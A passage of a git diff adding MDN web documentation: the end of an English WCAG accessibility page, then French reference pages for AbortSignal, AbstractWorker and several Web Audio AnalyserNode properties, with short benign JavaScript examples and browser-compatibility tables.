+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">Understanding Non-Text Contrast</a></td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.12 Text Spacing (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>
+    <p>No loss of content or functionality occurs when the following styles are applied: </p>
+
+    <ul>
+     <li>Line height (line spacing) to at least 1.5 times the font size;</li>
+     <li>Spacing following paragraphs to at least 2 times the font size;</li>
+     <li>Letter spacing (tracking) to at least 0.12 times the font size;</li>
+     <li>Word spacing to at least 0.16 times the font size.</li>
+    </ul>
+   </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/text-spacing.html">Understanding Text Spacing</a></td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.13 Content on Hover or Focus (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>
+    <p>Additional content appear and disappear in coordination with hover and keyboard focus, this success criterion specifies three conditions that must be met:</p>
+
+    <ul>
+     <li>dismissable (can be closed/removed)</li>
+     <li>hoverable (the additional content does not disappear when the pointer is over it) </li>
+     <li>persistent (the additional content does not disappear without user action)</li>
+    </ul>
+   </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/content-on-hover-or-focus.html">Understanding Content on Hover or Focus</a></td>
+  </tr>
+ </thead>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Also see the WCAG description for <a href="https://www.w3.org/TR/WCAG21/#distinguishable">Guideline 1.4: Distinguishable: Make it easier for users to see and hear content including separating foreground from background.</a><a href="https://www.w3.org/TR/WCAG21/#distinguishable">.</a></p>
+</div>
+
+<p> </p>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="en-US/docs/Web/Accessibility/Understanding_WCAG">WCAG</a>
+
+  <ol>
+   <li>Perceivable</li>
+   <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable">Operable</a></li>
+   <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable">Understandable</a></li>
+   <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Robust">Robust</a></li>
+  </ol>
+ </li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/abortsignal/index.html b/files/fr/web/api/abortsignal/index.html
new file mode 100644
index 0000000000..6648360c02
--- /dev/null
+++ b/files/fr/web/api/abortsignal/index.html
@@ -0,0 +1,100 @@
+---
+title: AbortSignal
+slug: Web/API/AbortSignal
+tags:
+  - API
+  - AbortSignal
+  - DOM
+  - Interfaces
+  - Reference
+translation_of: Web/API/AbortSignal
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>L'interface <strong><code>AbortSignal</code></strong> représente un objet signal qui vous permet de communiquer avec une requête DOM (telle que Fetch) et de l'annuler si nécessaire par un objet {{domxref("AbortController")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface AbortSignal hérite des propriétés de son interface parent {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("AbortSignal.aborted")}} {{readonlyInline}}</dt>
+ <dd>Un {{domxref("Boolean")}} (<em>booléen</em>) qui indique si les requêtes avec lesquelles le signal communique sont annulées (<code>true</code>) ou non (<code>false</code>).</dd>
+</dl>
+
+<h3 id="Gestionnaire_dévènement">Gestionnaire d'évènement</h3>
+
+<dl>
+ <dt>{{domxref("AbortSignal.onabort")}}</dt>
+ <dd>appelé quand un évènement {{event("abort_(dom_abort_api)", "abort")}} est lancé, c'est-à-dire quand les requêtes DOM avec lesquelles le signal communique sont annulées.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>L'interface AbortSignal hérite des méthodes de son interface parent {{domxref("EventTarget")}}.</em></p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'extrait suivant, nous visons à télécharger une vidéo en utilisant l'<a href="https://developer.mozilla.org/fr/docs/Web/API/Fetch_API">API Fetch</a>.</p>
+
+<p>Tout d'abord, nous créons un contrôleur en utilisant le constructeur {{domxref("AbortController.AbortController","AbortController()")}}, puis nous saisissons une référence associée à son objet {{domxref("AbortSignal")}} au moyen de la propriété {{domxref("AbortController.signal")}}.</p>
+
+<p>Lorsque la  <a href="https://developer.mozilla.org/fr/docs/Web/API/GlobalFetch/fetch">requête fetch</a> (<em>extraction</em>) est lancée, nous transmettons le paramètre <code>AbortSignal</code> en tant qu'option dans l'objet d'options de la requête (voir <code>{signal}</code> ci-dessous). Cela associe le signal et le contrôleur à la requête d'extraction et nous permet de l'annuler en appelant {{domxref("AbortController.abort()")}}, comme indiqué ci-dessous dans le second écouteur d'événements.</p>
+
+<pre class="brush: js notranslate">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Lorsque <code>abort()</code> est appelé, la réponse <code>fetch()</code> rejette avec une erreur <code>AbortError</code>.</p>
+</div>
+
+<p>vous pouvez trouver un exemple de travail complet sur GitHub — voir <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">voir cas d'usage concret</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-AbortSignal', 'AbortSignal')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez vérifier <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une demande de retrait.</div>
+
+<p>{{Compat("api.AbortSignal")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Fetch_API">API Fetch</a></li>
+ <li><a href="https://developers.google.com/web/updates/2017/09/abortable-fetch">Abortable Fetch</a> par Jake Archibald (en)</li>
+</ul>
diff --git a/files/fr/web/api/abstractworker/index.html b/files/fr/web/api/abstractworker/index.html
new file mode 100644
index 0000000000..0dfabf2783
--- /dev/null
+++ b/files/fr/web/api/abstractworker/index.html
@@ -0,0 +1,79 @@
+---
+title: AbstractWorker
+slug: Web/API/AbstractWorker
+tags:
+  - API
+  - Interface
+  - Reference
+  - Web Workers
+translation_of: Web/API/AbstractWorker
+---
+<p>{{ APIRef() }}</p>
+
+<p>L'interface <strong><code>AbstractWorker</code></strong> de l'<a href="/fr/docs/Web/API/Web_Workers_API">API Web Worker</a> résume les propriétés et les méthodes communes à tous les types de workers, comme {{domxref("Worker")}}, {{domxref("SharedWorker")}} ou {{domxref("ServiceWorker")}}. Étant une classe abstraite, vous n'interagirez pas directement avec elle.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface <code>AbstractWorker</code></em><em> n'hérite d'aucune propriété.</em></p>
+
+<h3 id="Gestionnaires_d’évènements">Gestionnaires d’évènements</h3>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>Un {{ domxref("EventListener") }} appelé chaque fois qu'un {{domxref("ErrorEvent")}} de type <code>error</code> apparaît à l'intérieur du worker.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>L'interface de <code>AbstractWorker</code></em><em> n'hérite ou n'implémente aucune méthode.</em></p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Notez que vous n’utiliserez pas directement l’interface <code>AbstractWorker</code> dans votre code — lorsqu’elles sont appelées, les interfaces {{domxref("Worker")}} et {{domxref("SharedWorker")}} héritent des propriétés d’<code>AbstractWorker</code>. L’extrait de code suivant présente la création d’un objet {{domxref("Worker")}} utilisant le constructeur {{domxref("Worker.Worker", "Worker()")}}, ainsi que l’usage de cet objet:</p>
+
+<pre class="brush: js">var monWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  monWorker.postMessage([first.value,second.value]);
+  console.log('Message envoyé au worker');
+}</pre>
+
+<p>Le worker est chargé à partir du ficher «<code>worker.js</code>». Ce code suppose qu'il y a un élément {{HTMLElement("input")}}, représenté par <code>first</code>, avec un gestionnaire d'évènement pour l'évènement {{domxref("change")}} qui signale un changement de valeur par l'utilisateur, ce qui entraîne l'envoi d'un message au <em>worker</em>.</p>
+
+<p>Pour des exemples complets, voir :</p>
+
+<ul>
+ <li><a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Exemple de worker dédié simple </a>(<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">exécuter le worker dédié</a>).</li>
+ <li><a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">Exemple de worker partagé simple</a> (<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">exécuter le worker partagé</a>).</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#abstractworker", "AbstractWorker")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Pas de changement depuis {{SpecName("Web Workers")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.AbstractWorker")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>Les interfaces {{domxref("Worker")}}, {{domxref("ServiceWorker")}} et {{domxref("SharedWorker")}} qui héritent d’<strong><code>AbstractWorker</code></strong> .</li>
+ <li><a href="/fr/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+ <li><a href="/fr/docs/Web/API/Web_Workers_API/Utilisation_des_web_workers">Utilisation des web workers </a></li>
+</ul>
diff --git a/files/fr/web/api/abstractworker/onerror/index.html b/files/fr/web/api/abstractworker/onerror/index.html
new file mode 100644
index 0000000000..b5ed4928e6
--- /dev/null
+++ b/files/fr/web/api/abstractworker/onerror/index.html
@@ -0,0 +1,55 @@
+---
+title: AbstractWorker.onerror
+slug: Web/API/AbstractWorker/onerror
+translation_of: Web/API/AbstractWorker/onerror
+---
+<p>{{ APIRef("AbstractWorker") }}</p>
+
+<p>La propriété <code><strong>AbstractWorker</strong></code><strong><code>.onerror</code></strong> de l'interface {{domxref("AbstractWorker")}} représente un {{domxref("EventHandler")}}, c'est-à-dire une fonction à appeler lorsque l'événement {{event("error")}} survient et se propage à travers le {{domxref("Worker")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>myWorker.onerror = function() { ... };</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code suivant montre la création d'un objet <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker" title="The Worker interface represents a background task that can be easily created and can send messages back to its creator. Creating a worker is as simple as calling the Worker() constructor and specifying a script to be run in the worker thread."><code>Worker</code></a> utilisant le constructeur <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker.Worker" title="The Worker() constructor creates a Worker that executes the script at the specified URL. This script must obey the same-origin policy."><code>Worker()</code></a> et l'ajout d'un gestionnaire <code>onerror</code> à l'objet en question :</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js");
+
+myWorker.onerror = function() {
+  console.log('le worker a rencontré une erreur !');
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#handler-abstractworker-onerror", "AbstractWorker.onerror")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">he compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.AbstractWorker.onerror")}}</p>
+
+<h3 id="Comportement_des_worker_en_cas_derreur_cross-origin">Comportement des worker en cas d'erreur cross-origin</h3>
+
+<p>Dans les versions antérieurs des navigateurs, essayer de charger un script <em>worker</em> en cross-origin lève une exception <code>SecurityError</code>; dans les versions plus récentes, un évènement {{event("error")}} est déclenché; suite à un changement de spécification. Pour plus d'information sur la manière de gérer cela: <a href="https://www.fxsitecompat.com/en-CA/docs/2016/loading-cross-origin-worker-now-fires-error-event-instead-of-throwing-worker-in-sandboxed-iframe-no-longer-allowed/">(en) Loading cross-origin worker now fires error event instead of throwing; worker in sandboxed iframe no longer allowed</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("AbstractWorker")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/analysernode/analysernode/index.html b/files/fr/web/api/analysernode/analysernode/index.html
new file mode 100644
index 0000000000..eac71c9b94
--- /dev/null
+++ b/files/fr/web/api/analysernode/analysernode/index.html
@@ -0,0 +1,101 @@
+---
+title: AnalyserNode()
+slug: Web/API/AnalyserNode/AnalyserNode
+translation_of: Web/API/AnalyserNode/AnalyserNode
+---
+<p>{{APIRef("'Web Audio API'")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">Le constructeur <strong><code>AnalyserNode</code></strong> crée un nouvel objet {{domxref("AnalyserNode")}}.</span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var analyserNode = new AnalyserNode(context, options)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>context</em></dt>
+ <dd>Référence à un {{domxref("AudioContext")}}.</dd>
+ <dt><em>options</em> {{optional_inline}}</dt>
+ <dd>
+ <ul>
+  <li><code>fftSize</code>: taille initiale sde la FFT pour l'analyse du domaine fréquentiel . La valeur par défaut est 2048.</li>
+  <li><code>maxDecibels</code>: <span id="result_box" lang="fr"><span class="hps">valeur</span> <span class="hps">maximale de</span></span> puissance de la plage pour l'analyse FFT, en décibels. La valeur par défaut est -30.</li>
+  <li><code>minDecibels</code>: <span id="result_box" lang="fr"><span class="hps">valeur</span> <span class="hps">minimale de</span></span> puissance de la plage pour l'analyse FFT, en décibels. La valeur par défaut est -100.</li>
+  <li><code>smoothingTimeConstant</code>:  valeur de lissage pour l'analyse FFT. La valeur par défaut est 0.8</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API','#the-analysernode-interface','AnalyserNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td>Première définition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/analysernode/fftsize/index.html b/files/fr/web/api/analysernode/fftsize/index.html
new file mode 100644
index 0000000000..1e65de8d0a
--- /dev/null
+++ b/files/fr/web/api/analysernode/fftsize/index.html
@@ -0,0 +1,160 @@
+---
+title: AnalyserNode.fftSize
+slug: Web/API/AnalyserNode/fftSize
+translation_of: Web/API/AnalyserNode/fftSize
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<p>La propriété <code>fftSize</code> de l'objet {{ domxref("AnalyserNode") }} est un nombre entier non signé qui représente la taille de la FFT (<a href="/en-US/docs/" title="/en-US/docs/">transfomation de Fourier rapide</a>) à utiliser pour déterminer le domaine fréquentiel.<br>
+ <br>
+ La valeur de la propriété <code>fftSize</code> property's doit être une puissance de 2 non nulle située dans l'intervalle compris entre <code>32</code> et 32768 ; sa valeur par défaut est <code>2048</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: si la valeur n'est pas une puissance de 2, ou si elle ne se trouve pas dans l'intervalle spécifiée, l'exception <code>INDEX_SIZE_ERR</code> est levée.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var contexteAudio = new AudioContext();
+var analyseur = contexteAudio.createAnalyser();
+analyseur.fftSize = 2048;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un nombre entier non signé.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant montre comment créer simplement un  <code>AnalyserNode</code> avec {{domxref("AudioContext")}}, puis utiliser  {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>  (et en particulier <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a>).</p>
+
+<pre class="brush: js">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+var analyseur = contexteAudio.createAnalyser();
+
+  ...
+
+analyseur.fftSize = 2048;
+var tailleMemoireTampon = analyseur.fftSize;
+var tableauDonnees = new Uint8Array(tailleMemoireTampon);
+analyseur.getByteTimeDomainData(tableauDonnees);
+
+// dessine un oscilloscope de la source audio
+
+function dessiner() {
+
+      dessin = requestAnimationFrame(dessiner);
+
+      analyseur.getByteTimeDomainData(tableauDonnees);
+
+      contexteCanvas.fillStyle = 'rgb(200, 200, 200)';
+      contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR);
+
+      contexteCanvas.lineWidth = 2;
+      contexteCanvas.strokeStyle = 'rgb(0, 0, 0)';
+
+      contexteCanvas.beginPath();
+
+      var largeurTranche = LARGEUR * 1.0 / tailleMemoireTampon;
+      var x = 0;
+
+      for(var i = 0; i &lt; tailleMemoireTampon; i++) {
+
+        var v = tableauDonnees[i] / 128.0;
+        var y = v * HAUTEUR/2;
+
+        if(i === 0) {
+          contexteCanvas.moveTo(x, y);
+        } else {
+          contexteCanvas.lineTo(x, y);
+        }
+
+        x += largeurTranche;
+      }
+
+      contexteCanvas.lineTo(canvas.width, canvas.height/2);
+      contexteCanvas.stroke();
+    };
+
+    dessiner();</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AnalyserNode-fftSize', 'fftSize')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/analysernode/frequencybincount/index.html b/files/fr/web/api/analysernode/frequencybincount/index.html
new file mode 100644
index 0000000000..4d2d37a151
--- /dev/null
+++ b/files/fr/web/api/analysernode/frequencybincount/index.html
@@ -0,0 +1,143 @@
+---
+title: AnalyserNode.frequencyBinCount
+slug: Web/API/AnalyserNode/frequencyBinCount
+translation_of: Web/API/AnalyserNode/frequencyBinCount
+---
+<p>{{ APIRef("Web Audio API") }}<br>
+ <br>
+ La propriété <strong><code>frequencyBinCount</code></strong> de l'objet <a href="https://developer.mozilla.org/fr/docs/Web/API/AnalyserNode" title="L' interface AnalyserNode représente un noeud capable de fournir une fréquence en temps réel et l'analyse des informations temporaires. C'est un AudioNode qui passe le flux audio inchangé depuis l'entrée vers la sortie. Il a exactement une entrée et une sortie. Le noeud fonctionne même si la sortie n'est pas connectée."><code>AnalyserNode</code></a> est un nombre entier non signé équivalent à la moitié la taille de la FFT. Il correspond en général au nombre de valeurs que vous aurez à manipuler pour la visualisation.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var contexteAudio = new AudioContext();
+var analyseur = contexteAudio.createAnalyser();
+var tailleMemoireTampon = analyseur.frequencyBinCount;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un nombre entier non signé.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>L'exemple suivant montre comment créer simplement un  <code>AnalyserNode</code> avec <a href="https://developer.mozilla.org/fr/docs/Web/API/AudioContext" title="L'interface AudioContext représente un graphe de traitement audio fait de modules audio reliés entre eux, chaque module correspondant à un AudioNode. Un contexte audio contrôle à la fois la création des nœuds qu'il contient et l'exécution du traitement audio, ou du décodage. On commence toujours par créer un contexte audio, et tout ce qui va se passer ensuite se situera dans ce contexte."><code>AudioContext</code></a>, puis utiliser  <a href="https://developer.mozilla.org/fr/docs/Web/API/Window/requestAnimationFrame" title="La méthode window.requestAnimationFrame() notifie le navigateur que vous souhaitez executer une animation et demande que celui-ci execute une fonction spécifique de mise à jour de l'animation, avant le prochain repaint du navigateur. Cette méthode prend comme argument un callback qui sera appelé avant le repaint du navigateur."><code>requestAnimationFrame</code></a> et <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/canvas" title="L'élément HTML Canvas (&lt;canvas>) permet de modifier une zone graphique via un script (habituellement en JavaScript). Par exemple, il peut être utilisé pour dessiner des graphiques, manipuler des images ou jouer des animations. Il peut être utilisé pour l'affichage d'un jeu en ligne ou tout autre contenu interactif. Il est fortement recommandé de fournir un contenu alternatif au contenu du bloc &lt;canvas>. Ce contenu pourra être utilisé par les navigateurs plus anciens ne supportant pas l'élément &lt;canvas> et ceux pour lesquels JavaScript est désactivé."><code>&lt;canvas&gt;</code></a> pour collecter les données temporelles et dessiner un oscilloscopeen sortie. Pour des exemples plus complets, voir notre démo <a class="external external-icon" href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>  (et en particulier <a class="external external-icon" href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a>).</p>
+
+<pre class="brush: js">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+var analyseur = contexteAudio.createAnalyser();
+analyseur.minDecibels = -90;
+analyseur.maxDecibels = -10;
+
+  ...
+
+analyseur.fftSize = 256;
+var tailleMemoireTampon = analyseur.frequencyBinCount;
+console.log(tailleMemoireTampon);
+var tableauDonnees = new Uint8Array(tailleMemoireTampon);
+
+contexteCanvas.clearRect(0, 0, LARGEUR, HAUTEUR);
+
+function dessiner() {
+  dessin = requestAnimationFrame(dessiner);
+
+  analyseur.getByteFrequencyData(tableauDonnees);
+
+  contexteCanvas.fillStyle = 'rgb(0, 0, 0)';
+  contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR);
+
+  var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5 - 1;
+  var hauteurBarre;
+  var x = 0;
+
+  for(var i = 0; i &lt; tailleMemoireTampon; i++) {
+    hauteurBarre = tableauDonnees[i];
+
+    contexteCanvas.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)';
+    contexteCanvas.fillRect(x,HAUTEUR-hauteurBarre/2,largeurBarre,hauteurBarre/2);
+
+    x += largeurBarre;
+  }
+};
+
+dessiner();</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AnalyserNode-frequencyBinCount', 'frequencyBinCount')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="new" href="https://developer.mozilla.org/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/analysernode/getbytefrequencydata/index.html b/files/fr/web/api/analysernode/getbytefrequencydata/index.html
new file mode 100644
index 0000000000..7eb1da5c89
--- /dev/null
